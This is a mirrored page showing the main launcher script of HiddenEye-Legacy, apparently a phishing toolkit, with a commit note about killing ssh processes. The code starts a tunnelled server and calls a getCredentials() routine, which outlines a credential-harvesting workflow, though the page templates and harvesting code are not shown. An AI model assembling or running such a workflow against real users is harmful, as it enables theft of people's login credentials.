mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
5d4d1862b3
ssh should be closed otherwise processes get jumbled up and hiddeneye becomes slow and sometimes does not work.
39 lines
755 B
Python
39 lines
755 B
Python
#!/usr/bin/python3
|
|
#
|
|
#HiddenEye by Open Source Community
|
|
#
|
|
import multiprocessing
|
|
import gettext
|
|
import sys
|
|
from Defs.Checks import *
|
|
from Defs.Configurations import *
|
|
from Defs.Actions import *
|
|
from Defs.Languages import *
|
|
from os import system
|
|
|
|
RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'
|
|
|
|
installGetText()
|
|
languageSelector()
|
|
checkConnection()
|
|
checkNgrok()
|
|
ifSettingsNotExists()
|
|
readConfig()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
try:
|
|
runMainMenu()
|
|
|
|
inputCustom()
|
|
##############
|
|
selectServer()
|
|
|
|
multiprocessing.Process(target=runServer).start()
|
|
getCredentials()
|
|
|
|
except KeyboardInterrupt:
|
|
system('pkill ssh')
|
|
endMessage()
|
|
exit(0)
|